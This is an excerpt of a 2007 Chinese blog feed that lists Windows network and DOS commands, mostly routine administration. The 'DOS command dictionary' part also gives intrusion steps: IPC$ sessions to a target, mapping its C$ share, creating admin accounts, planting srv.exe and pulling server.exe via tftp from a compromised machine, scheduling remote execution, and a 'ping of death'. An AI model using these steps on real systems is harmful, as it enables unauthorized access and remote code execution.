&gt;server&nbsp;202.99.41.2&nbsp;</span><span style="font-size: 9pt; color: black;">则将</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">DNS</span><span style="font-size: 9pt; color: black;">改为了</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">41.2<br />
&gt;&nbsp;pop.pcpop.com<br />
Server:&nbsp;ns.hesjptt.net.cn<br />
Address:&nbsp;202.99.160.68</span></p>
<p style="text-align: justify;"><span style="font-size: 9pt; font-family: Tahoma; color: black;">Non-authoritative&nbsp;answer:<br />
Name:&nbsp;pop.pcpop.com<br />
Address:&nbsp;202.99.160.212</span></p>
<p style="text-align: justify;"><span style="font-size: 9pt; font-family: Tahoma; color: black;">3.</span><span style="font-size: 9pt; color: black;">网络信使</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
Net&nbsp;send&nbsp;</span><span style="font-size: 9pt; color: black;">计算机名</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">/IP|*&nbsp;(</span><span style="font-size: 9pt; color: black;">广播</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">)&nbsp;</span><span style="font-size: 9pt; color: black;">传送内容，注意不能跨网段</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
net&nbsp;stop&nbsp;messenger&nbsp;</span><span style="font-size: 9pt; color: black;">停止信使服务，也可以在面板－服务修改</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
net&nbsp;start&nbsp;messenger&nbsp;</span><span style="font-size: 9pt; color: black;">开始信使服务</span></p>
<p style="text-align: justify;"><span style="font-size: 9pt; font-family: Tahoma; color: black;">4.</span><span style="font-size: 9pt; color: black;">探测对方对方计算机名，所在的组、域及当前用户名</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
ping&nbsp;</span><span style="font-size: 9pt; color: black;">－</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">a&nbsp;IP&nbsp;</span><span style="font-size: 9pt; color: black;">－</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">t&nbsp;</span><span style="font-size: 9pt; color: black;">，只显示</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">NetBios</span><span style="font-size: 9pt; color: black;">名</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
nbtstat&nbsp;-a&nbsp;192.168.10.146&nbsp;</span><span style="font-size: 9pt; color: black;">比较全的</span></p>
<p style="text-align: justify;"><span style="font-size: 9pt; font-family: Tahoma; color: black;">5.netstat&nbsp;-a&nbsp;</span><span style="font-size: 9pt; color: black;">显示出你的计算机当前所开放的所有端口</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
netstat&nbsp;-s&nbsp;-e&nbsp;</span><span style="font-size: 9pt; color: black;">比较详细的显示你的网络资料，包括</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">TCP</span><span style="font-size: 9pt; color: black;">、</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">UDP</span><span style="font-size: 9pt; color: black;">、</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">ICMP&nbsp;</span><span style="font-size: 9pt; color: black;">和</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">&nbsp;IP</span><span style="font-size: 9pt; color: black;">的统计等</span></p>
<p style="text-align: justify;"><span style="font-size: 9pt; font-family: Tahoma; color: black;">6.</span><span style="font-size: 9pt; color: black;">探测</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">arp</span><span style="font-size: 9pt; color: black;">绑定（动态和静态）列表，显示所有连接了我的计算机，显示对方</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">IP</span><span style="font-size: 9pt; color: black;">和</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">MAC</span><span style="font-size: 9pt; color: black;">地址</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
arp&nbsp;-a</span></p>
<p style="text-align: justify;"><span style="font-size: 9pt; font-family: Tahoma; color: black;">7.</span><span style="font-size: 9pt; color: black;">在代理服务器端</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
</span><span style="font-size: 9pt; color: black;">捆绑</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">IP</span><span style="font-size: 9pt; color: black;">和</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">MAC</span><span style="font-size: 9pt; color: black;">地址，解决局域网内盗用</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">IP</span><span style="font-size: 9pt; color: black;">：</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
ARP&nbsp;</span><span style="font-size: 9pt; color: black;">－</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">s&nbsp;192.168.10.59&nbsp;00</span><span style="font-size: 9pt; color: black;">－</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">50</span><span style="font-size: 9pt; color: black;">－</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">ff</span><span style="font-size: 9pt; color: black;">－</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">6c</span><span style="font-size: 9pt; color: black;">－</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">08</span><span style="font-size: 9pt; color: black;">－</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">75<br />
</span><span style="font-size: 9pt; color: black;">解除网卡的</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">IP</span><span style="font-size: 9pt; color: black;">与</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">MAC</span><span style="font-size: 9pt; color: black;">地址的绑定：</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
arp&nbsp;-d&nbsp;</span><span style="font-size: 9pt; color: black;">网卡</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">IP</span></p>
<p style="text-align: justify;"><span style="font-size: 9pt; font-family: Tahoma; color: black;">8.</span><span style="font-size: 9pt; color: black;">在网络邻居上隐藏你的计算机</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
net&nbsp;config&nbsp;server&nbsp;/hidden:yes<br />
net&nbsp;config&nbsp;server&nbsp;/hidden:no&nbsp;</span><span style="font-size: 9pt; color: black;">则为开启</span></p>
<p style="text-align: justify;"><span style="font-size: 9pt; font-family: Tahoma; color: black;">9.</span><span style="font-size: 9pt; color: black;">几个</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">net</span><span style="font-size: 9pt; color: black;">命令</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
A.</span><span style="font-size: 9pt; color: black;">显示当前工作组服务器列表</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">&nbsp;net&nbsp;view</span><span style="font-size: 9pt; color: black;">，当不带选项使用本命令时，它就会显示当前域或网络上的计算机上的列表。</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
</span><span style="font-size: 9pt; color: black;">比如：查看这个</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">IP</span><span style="font-size: 9pt; color: black;">上的共享资源，就可以</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
C:"&gt;net&nbsp;view&nbsp;192.168.10.8<br />
</span><span style="font-size: 9pt; color: black;">在</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">&nbsp;192.168.10.8&nbsp;</span><span style="font-size: 9pt; color: black;">的共享资源</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
</span><span style="font-size: 9pt; color: black;">资源共享名</span>&nbsp;<span style="font-size: 9pt; color: black;">类型</span>&nbsp;<span style="font-size: 9pt; color: black;">用途</span>&nbsp;<span style="font-size: 9pt; color: black;">注释</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
--------------------------------------<br />
</span><span style="font-size: 9pt; color: black;">网站服务</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">&nbsp;Disk<br />
</span><span style="font-size: 9pt; color: black;">命令成功完成。</span></p>
<p style="text-align: justify;"><span style="font-size: 9pt; font-family: Tahoma; color: black;">B.</span><span style="font-size: 9pt; color: black;">查看计算机上的用户帐号列表</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">&nbsp;net&nbsp;user<br />
C.</span><span style="font-size: 9pt; color: black;">查看网络链接</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">&nbsp;net&nbsp;use<br />
</span><span style="font-size: 9pt; color: black;">例如：</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">net&nbsp;use&nbsp;z:&nbsp;""192.168.10.8"movie&nbsp;</span><span style="font-size: 9pt; color: black;">将这个</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">IP</span><span style="font-size: 9pt; color: black;">的</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">movie</span><span style="font-size: 9pt; color: black;">共享目录映射为本地的</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">Z</span><span style="font-size: 9pt; color: black;">盘</span></p>
<p style="text-align: justify;"><span style="font-size: 9pt; font-family: Tahoma; color: black;">D.</span><span style="font-size: 9pt; color: black;">记录链接</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">&nbsp;net&nbsp;session<br />
</span><span style="font-size: 9pt; color: black;">例如：</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
C:"&gt;net&nbsp;session<br />
</span><span style="font-size: 9pt; color: black;">计算机</span>&nbsp;<span style="font-size: 9pt; color: black;">用户名</span>&nbsp;<span style="font-size: 9pt; color: black;">客户类型</span>&nbsp;<span style="font-size: 9pt; color: black;">打开空闲时间</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
-------------------------------------------------------------------------------<br />
""192.168.10.110&nbsp;ROME&nbsp;Windows&nbsp;2000&nbsp;2195&nbsp;0&nbsp;00:03:12</span></p>
<p style="text-align: justify;"><span style="font-size: 9pt; font-family: Tahoma; color: black;">""192.168.10.51&nbsp;ROME&nbsp;Windows&nbsp;2000&nbsp;2195&nbsp;0&nbsp;00:00:39<br />
</span><span style="font-size: 9pt; color: black;">命令成功完成。</span></p>
<p style="text-align: justify;"><span style="font-size: 9pt; font-family: Tahoma; color: black;">10.</span><span style="font-size: 9pt; color: black;">路由跟踪命令</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
A.tracert&nbsp;pop.pcpop.com<br />
B.pathping&nbsp;pop.pcpop.com&nbsp;</span><span style="font-size: 9pt; color: black;">除了显示路由外，还提供</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">325S</span><span style="font-size: 9pt; color: black;">的分析，计算丢失包的％</span></p>
<p style="text-align: justify;"><span style="font-size: 9pt; font-family: Tahoma; color: black;">11.</span><span style="font-size: 9pt; color: black;">关于共享安全的几个命令</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
A.</span><span style="font-size: 9pt; color: black;">查看你机器的共享资源</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">&nbsp;net&nbsp;share<br />
B.</span><span style="font-size: 9pt; color: black;">手工删除共享</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
net&nbsp;share&nbsp;c$&nbsp;/d<br />
net&nbsp;share&nbsp;d$&nbsp;/d<br />
net&nbsp;share&nbsp;ipc$&nbsp;/d<br />
net&nbsp;share&nbsp;admin$&nbsp;/d<br />
</span><span style="font-size: 9pt; color: black;">注意</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">$</span><span style="font-size: 9pt; color: black;">后有空格。</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
C.</span><span style="font-size: 9pt; color: black;">增加一个共享：</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
c:"net&nbsp;share&nbsp;mymovie=e:"downloads"movie&nbsp;/users:1<br />
mymovie&nbsp;</span><span style="font-size: 9pt; color: black;">共享成功。</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
</span><span style="font-size: 9pt; color: black;">同时限制链接用户数为</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">1</span><span style="font-size: 9pt; color: black;">人。</span></p>
<p><span style="font-size: 9pt; font-family: Tahoma; color: black;">12.</span><span style="font-size: 9pt; font-family: 宋体; color: black;">在</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">DOS</span><span style="font-size: 9pt; font-family: 宋体; color: black;">行下设置静态</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">IP<br />
A.</span><span style="font-size: 9pt; font-family: 宋体; color: black;">设置静态</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">IP<br />
CMD<br />
netsh<br />
netsh&gt;int<br />
interface&gt;ip<br />
interface&nbsp;ip&gt;set&nbsp;add&nbsp;"</span><span style="font-size: 9pt; font-family: 宋体; color: black;">本地链接</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">"&nbsp;static&nbsp;IP</span><span style="font-size: 9pt; font-family: 宋体; color: black;">地址</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">&nbsp;mask&nbsp;gateway<br />
B.</span><span style="font-size: 9pt; font-family: 宋体; color: black;">查看</span><span style="font-size: 9pt; font-family: Tahoma; color: black;">IP</span><span style="font-size: 9pt; font-family: 宋体; color: black;">设置</span><span style="font-size: 9pt; font-family: Tahoma; color: black;"><br />
interface&nbsp;ip&gt;show&nbsp;address</span></p>
<p style="line-height: 14.25pt;"><span style="font-size: 9pt; font-family: Tahoma; color: black;">13</span><span style="font-size: 9pt; color: black;">．</span><span style="font-size: 10pt;">Nbtstat </span><span style="font-size: 10pt;">是解决 NetBIOS 名称解析问题的有用工具。可以使用nbtstat 命令删除或更正预加载的项目： </span></p>
<p style="line-height: 14.25pt;"><span style="font-size: 10pt;">nbtstat -n 显示由服务器或重定向器之类的程序在系统上本地注册的名称。<span> <br />
</span>nbtstat -c 显示 NetBIOS 名称缓存，包含其他计算机的名称对地址映射。<span> <br />
</span>nbtstat -R 清除名称缓存，然后从<span> Lmhosts
</span>文件重新加载。<span> <br />
</span>nbtstat -RR 释放在 WINS 服务器上注册的 NetBIOS 名称，然后刷新它们的注册。<span> <br />
</span>nbtstat -a name 对 name 指定的计算机执行 NetBIOS 适配器状态命令。适配器状态命令将 </span></p>
<p style="line-height: 14.25pt;"><span style="font-size: 10pt;">返回计算机的本地 NetBIOS 名称表，以及适配器的媒体访问控制地址。 </span></p>
<p style="line-height: 14.25pt;"><span style="font-size: 10pt;">nbtstat -S 列出当前的 NetBIOS 会话及其状态（包括统计）</span></p>
<p style="line-height: 14.25pt;"><span style="font-size: 10pt;">15</span><span style="font-size: 10pt;">．<span>C:"&gt; tracert 172.16.0.99 -d <br />
</span><span>Tracing route to 172.16.0.99 over a maximum of 30
hops <br />
</span><span>1 2s 3s 2s 10,0.0,1 <br />
</span><span>2 75 ms 83 ms 88 ms 192.168.0.1 <br />
</span><span>3 73 ms 79 ms 93 ms 172.16.0.99 <br />
</span>Trace complete. </span></p>
<img src ="http://www.blogjava.net/cyanbomb/aggbug/171092.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/cyanbomb/" target="_blank">cyanbomb</a> 2007-12-28 10:16 <a href="http://www.blogjava.net/cyanbomb/archive/2007/12/28/171092.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>DOS命令字典</title><link>http://www.blogjava.net/cyanbomb/archive/2007/12/28/171088.html</link><dc:creator>cyanbomb</dc:creator><author>cyanbomb</author><pubDate>Fri, 28 Dec 2007 02:13:00 GMT</pubDate><guid>http://www.blogjava.net/cyanbomb/archive/2007/12/28/171088.html</guid><wfw:comment>http://www.blogjava.net/cyanbomb/comments/171088.html</wfw:comment><comments>http://www.blogjava.net/cyanbomb/archive/2007/12/28/171088.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/cyanbomb/comments/commentRss/171088.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/cyanbomb/services/trackbacks/171088.html</trackback:ping><description><![CDATA[net use ""ip"ipc$ " " /user:" " 建立IPC空链接 <br />
net use ""ip"ipc$ "密码" /user:"用户名" 建立IPC非空链接 <br />
net use h: ""ip"c$ "密码" /user:"用户名" 直接登陆后映射对方C：到本地为H: <br />
net use h: ""ip"c$ 登陆后映射对方C：到本地为H: <br />
net use ""ip"ipc$ /del 删除IPC链接 <br />
net use h: /del 删除映射对方到本地的为H:的映射 <br />
net user 用户名　密码　/add 建立用户 <br />
net user guest /active:yes 激活guest用户 <br />
net user 查看有哪些用户 <br />
net user 帐户名 查看帐户的属性 <br />
net localgroup ***istrators 用户名 /add 把&#8220;用户&#8221;添加到管理员中使其具有管理员权限,注意：***istrator后加s用复数 <br />
net start 查看开启了哪些服务 <br />
net start 服务名　 开启服务；(如:net start telnet， net start schedule) <br />
net stop 服务名 停止某服务 <br />
net time ""目标ip 查看对方时间 <br />
net time ""目标ip /set 设置本地计算机时间与&#8220;目标IP&#8221;主机的时间同步,加上参数/yes可取消确认信息 <br />
net view 查看本地局域网内开启了哪些共享 <br />
net view ""ip 查看对方局域网内开启了哪些共享 <br />
net config 显示系统网络设置 <br />
net logoff 断开连接的共享 <br />
net pause 服务名 暂停某服务 <br />
net send ip "文本信息" 向对方发信息 <br />
net ver 局域网内正在使用的网络连接类型和信息 <br />
net share 查看本地开启的共享 <br />
net share ipc$ 开启ipc$共享 <br />
net share ipc$ /del 删除ipc$共享 <br />
net share c$ /del 删除C：共享 <br />
net user guest 12345 用guest用户登陆后用将密码改为12345 <br />
net password 密码 更改系统登陆密码 <br />
netstat -a 查看开启了哪些端口,常用netstat -an <br />
netstat -n 查看端口的网络连接情况，常用netstat -an <br />
netstat -v 查看正在进行的工作 <br />
netstat -p 协议名 例：netstat -p tcq/ip 查看某协议使用情况（查看tcp/ip协议使用情况） <br />
netstat -s 查看正在使用的所有协议使用情况 <br />
nbtstat -A ip 对方136到139其中一个端口开了的话，就可查看对方最近登陆的用户名（03前的为用户名）-注意：参数-A要大写 <br />
tracert -参数 ip(或计算机名) 跟踪路由（数据包），参数：&#8220;-w数字&#8221;用于设置超时间隔。 <br />
ping ip(或域名) 向对方主机发送默认大小为32字节的数据，参数：&#8220;-l[空格]数据包大小&#8221;；&#8220;-n发送数据次数&#8221;；&#8220;-t&#8221;指一直ping。 <br />
ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) <br />
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址，ipconfig可用参数&#8220;/all&#8221;显示全部配置信息 <br />
tlist -t 以树行列表显示进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) <br />
kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具，默认是没有安装的，在安装目录的Support/tools文件夹内) <br />
del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件，/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如&#8220;DEL/AR *.*&#8221;表示删除当前目录下所有只读文件，&#8220;DEL/A-S *.*&#8221;表示删除当前目录下除系统文件以外的所有文件<br />
<br />
#2 二：<br />
<br />
del /S /Q 目录 或用：rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。（二个命令作用相同） <br />
move 盘符"路径"要移动的文件名　存放移动文件的路径"移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖 <br />
fc one.txt two.txt &gt; 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中，"&gt; "和"&gt; &gt;" 是重定向命令 <br />
at id号 开启已注册的某个计划任务 <br />
at /delete 停止所有计划任务，用参数/yes则不需要确认就直接停止 <br />
at id号 /delete 停止某个已注册的计划任务 <br />
at 查看所有的计划任务 <br />
at ""ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 <br />
finger username @host 查看最近有哪些用户登陆 <br />
telnet ip 端口 远和登陆服务器,默认端口为23 <br />
open ip 连接到IP（属telnet登陆后的命令） <br />
telnet 在本机上直接键入telnet 将进入本机的telnet <br />
copy 路径"文件名1　路径"文件名2 /y 复制文件1到指定的目录为文件2，用参数/y就同时取消确认你要改写一份现存目录文件 <br />
copy c:"srv.exe ""ip"***$ 复制本地c:"srv.exe到对方的***下 <br />
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件，注：2st.txt文件头要空三排，参数：/b指二进制文件，/a指ASCLL格式文件 <br />
copy ""ip"***$"svv.exe c:" 或:copy""ip"***$"*.* 复制对方***i$共享下的srv.exe文件（所有文件）至本地C： <br />
xcopy 要复制的文件或目录树　目标地址"目录名 复制文件和目录树，用参数/Y将不提示覆盖相同文件 <br />
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:"server.exe 登陆后，将&#8220;IP&#8221;的server.exe下载到目标主机c:"server.exe 参数：-i指以二进制模式传送，如传送exe文件时用，如不加-i 则以ASCII模式（传送文本文件模式）进行传送 <br />
tftp -i 对方IP　put c:"server.exe 登陆后，上传本地c:"server.exe至主机 <br />
ftp ip 端口 用于上传文件至服务器或进行文件操作，默认端口为21。bin指用二进制方式传送（可执行文件进）；默认为ASCII格式传送(文本文件时) <br />
route print 显示出IP路由，将主要显示网络地址Network addres，子网掩码Netmask，网关地址Gateway addres，接口地址Interface <br />
arp 查看和处理ARP缓存，ARP是名字解析的意思，负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 <br />
start 程序名或命令 /max 或/min 新开一个新窗口并最大化（最小化）运行某程序或命令 <br />
mem 查看cpu使用情况 <br />
attrib 文件名(目录名) 查看某文件（目录）的属性 <br />
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档，只读，系统，隐藏 属性；用＋则是添加为某属性 <br />
dir 查看文件，参数：/Q显示文件及目录属系统哪个用户，/T:C显示文件创建时间，/T:A显示文件上次被访问时间，/T:W上次被修改时间 <br />
date /t 、 time /t 使用此参数即&#8220;DATE/T&#8221;、&#8220;TIME/T&#8221;将只显示当前日期和时间，而不必输入新日期和时间 <br />
set 指定环境变量名称=要指派给变量的字符 设置环境变量 <br />
set 显示当前所有的环境变量 <br />
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量 <br />
pause 暂停批处理程序，并显示出：请按任意键继续.... <br />
if 在批处理程序中执行条件处理（更多说明见if命令及变量） <br />
goto 标签 将cmd.exe导向到批处理程序中带标签的行（标签必须单独一行，且以冒号打头，例如：&#8220;：start&#8221;标签） <br />
call 路径"批处理文件名 从批处理程序中调用另一个批处理程序 （更多说明见call /?） <br />
for 对一组文件中的每一个文件执行某个特定命令（更多说明见for命令及变量） <br />
echo on或off 打开或关闭echo，仅用echo不加参数则显示当前echo设置 <br />
echo 信息 在屏幕上显示出信息 <br />
echo 信息 &gt;&gt; pass.txt 将"信息"保存到pass.txt文件中 <br />
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello <br />
find 文件名 查找某文件 <br />
title 标题名字 更改CMD窗口标题名字 <br />
color 颜色值 设置cmd控制台前景和背景颜色；0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 <br />
prompt 名称 更改cmd.exe的显示的命令提示符(把C:"、D:"统一改为：EntSky" )<br />
<br />
#3 三：<br />
<br />
ver 在DOS窗口下显示版本信息 <br />
winver 弹出一个窗口显示版本信息（内存大小、系统版本、补丁版本、计算机名） <br />
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例：Format D: /FS:NTFS <br />
md　目录名 创建目录 <br />
replace 源文件　要替换文件的目录 替换文件 <br />
ren 原文件名　新文件名 重命名文件名 <br />
tree 以树形结构显示出目录，用参数-f 将列出第个文件夹中文件名称 <br />
type 文件名 显示文本文件的内容 <br />
more 文件名 逐屏显示输出文件 <br />
doskey 要锁定的命令＝字符<br />
doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行，重新调用win2k命令，并创建宏)。如：锁定dir命令：doskey dir=entsky (不能用doskey dir=dir)；解锁：doskey dir= <br />
taskmgr 调出任务管理器 <br />
chkdsk /F D: 检查磁盘D并显示状态报告；加参数/f并修复磁盘上的错误 <br />
tlntadmn telnt服务admn,键入tlntadmn选择3，再选择8,就可以更改telnet服务默认端口23为其它任何端口 <br />
exit 退出cmd.exe程序或目前，用参数/B则是退出当前批处理脚本而不是cmd.exe <br />
path 路径"可执行文件的文件名 为可执行文件设置一个路径。 <br />
cmd 启动一个win2K命令解释窗口。参数：/eff、/en 关闭、开启命令扩展；更我详细说明见cmd /? <br />
regedit /s 注册表文件名 导入注册表；参数/S指安静模式导入，无任何提示； <br />
regedit /e 注册表文件名 导出注册表 <br />
cacls 文件名　参数 显示或修改文件访问控制列表（ACL）——针对NTFS格式时。参数：/D 用户名:设定拒绝某用户访问；/P 用户名:perm 替换指定用户的访问权限；/G 用户名:perm 赋予指定用户访问权限；Perm 可以是: N 无，R 读取， W 写入， C 更改(写入)，F 完全控制；例：cacls D:"test.txt /D pub 设定d:"test.txt拒绝pub用户访问。 <br />
cacls 文件名 查看文件的访问用户权限列表 <br />
REM 文本内容 在批处理文件中添加注解 <br />
netsh 查看或更改本地网络配置情况<br />
<br />
#4 四：<br />
<br />
IIS服务命令： <br />
iisreset /reboot 重启win2k计算机（但有提示系统将重启信息出现） <br />
iisreset /start或stop 启动（停止）所有Internet服务 <br />
iisreset /restart 停止然后重新启动所有Internet服务 <br />
iisreset /status 显示所有Internet服务状态 <br />
iisreset /enable或disable 在本地系统上启用（禁用）Internet服务的重新启动 <br />
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时，若发生错误将重新开机 <br />
iisreset /noforce 若无法停止Internet服务，将不会强制终止Internet服务 <br />
iisreset /timeout Val在到达逾时间（秒）时，仍未停止Internet服务，若指定/rebootonerror参数，则电脑将会重新开机。预设值为重新启动20秒，停止60秒，重新开机0秒。 <br />
FTP 命令： (后面有详细说明内容) <br />
ftp的命令行格式为:<br />
ftp －v －d －i －n －g[主机名] －v 显示远程服务器的所有响应信息。<br />
－d 使用调试方式。 <br />
－n 限制ftp的自动登录,即不使用.netrc文件。<br />
－g 取消全局文件名。 <br />
help [命令] 或 ？[命令] 查看命令说明 <br />
bye 或 quit 终止主机FTP进程,并退出FTP管理方式. <br />
pwd 列出当前远端主机目录 <br />
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 <br />
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 <br />
mget [remote-files] 从远端主机接收一批文件至本地主机 <br />
mput local-files 将本地主机中一批文件传送至远端主机 <br />
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 <br />
ascii 设定以ASCII方式传送文件(缺省值) <br />
bin 或 image 设定以二进制方式传送文件 <br />
bell 每完成一次文件传送,报警提示 <br />
cdup 返回上一级目录 <br />
close 中断与远程服务器的ftp会话(与open对应) <br />
open host[port] 建立指定ftp服务器连接,可指定连接端口 <br />
delete 删除远端主机中的文件 <br />
mdelete [remote-files] 删除一批文件 <br />
mkdir directory-name 在远端主机中建立目录 <br />
rename [from] [to] 改变远端主机中的文件名 <br />
rmdir directory-name 删除远端主机中的目录 <br />
status 显示当前FTP的状态 <br />
system 显示远端主机系统类型 <br />
user user-name [password] [account] 重新以别的用户名登录远端主机 <br />
open host [port] 重新建立一个新的连接 <br />
prompt 交互提示模式 <br />
macdef 定义宏命令 <br />
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 <br />
chmod 改变远端主机的文件权限 <br />
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母 <br />
cd remote－dir 进入远程主机目录 <br />
cdup 进入远程主机目录的父目录 <br />
! 在本地机中执行交互shell，exit回到ftp环境,如!ls＊.zip<br />
<br />
#5 五：<br />
<br />
MYSQL 命令： <br />
mysql -h主机地址 -u用户名 －p密码 连接MYSQL;如果刚安装好MYSQL，超级用户root是没有密码的。<br />
（例：mysql -h110.110.110.110 -Uroot -P123456 <br />
注:u与root可以不用加空格，其它也一样） <br />
exit 退出MYSQL <br />
mysql*** -u用户名 -p旧密码 password 新密码 修改密码 <br />
grant select on 数据库.* to 用户名@登录主机 identified by ""密码""; 增加新用户。（注意：和上面不同，下面的因为是MYSQL环境中的命令，所以后面都带一个分号作为命令结束符） <br />
show databases; 显示数据库列表。刚开始时才两个数据库：mysql和test。mysql库很重要它里面有MYSQL的系统信息，我们改密码和新增用户，实际上就是用这个库进行操作。 <br />
use mysql；<br />
show tables; 显示库中的数据表 <br />
describe 表名; 显示数据表的结构 <br />
create database 库名; 建库 <br />
use 库名；<br />
create table 表名 (字段设定列表)； 建表 <br />
drop database 库名; <br />
drop table 表名； 删库和删表 <br />
delete from 表名; 将表中记录清空 <br />
select * from 表名; 显示表中的记录 <br />
mysqldump --opt school&gt;school.bbb 备份数据库：（命令在DOS的""mysql""bin目录下执行）;注释:将数据库school备份到school.bbb文件，school.bbb是一个文本文件，文件名任取，打开看看你会有新发现。 <br />
win2003系统下新增命令（实用部份）： <br />
shutdown /参数 关闭或重启本地或远程主机。<br />
参数说明：/S 关闭主机，/R 重启主机， /T 数字 设定延时的时间，范围0～180秒之间， /A取消开机，/M //IP 指定的远程主机。<br />
例：shutdown /r /t 0 立即重启本地主机（无延时） <br />
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。<br />
参数说明：/PID 要终止进程的pid,可用tasklist命令获得各进程的pid，/IM 要终止的进程的进程名，/F 强制终止进程，/T 终止指定的进程及他所启动的子进程。 <br />
tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。<br />
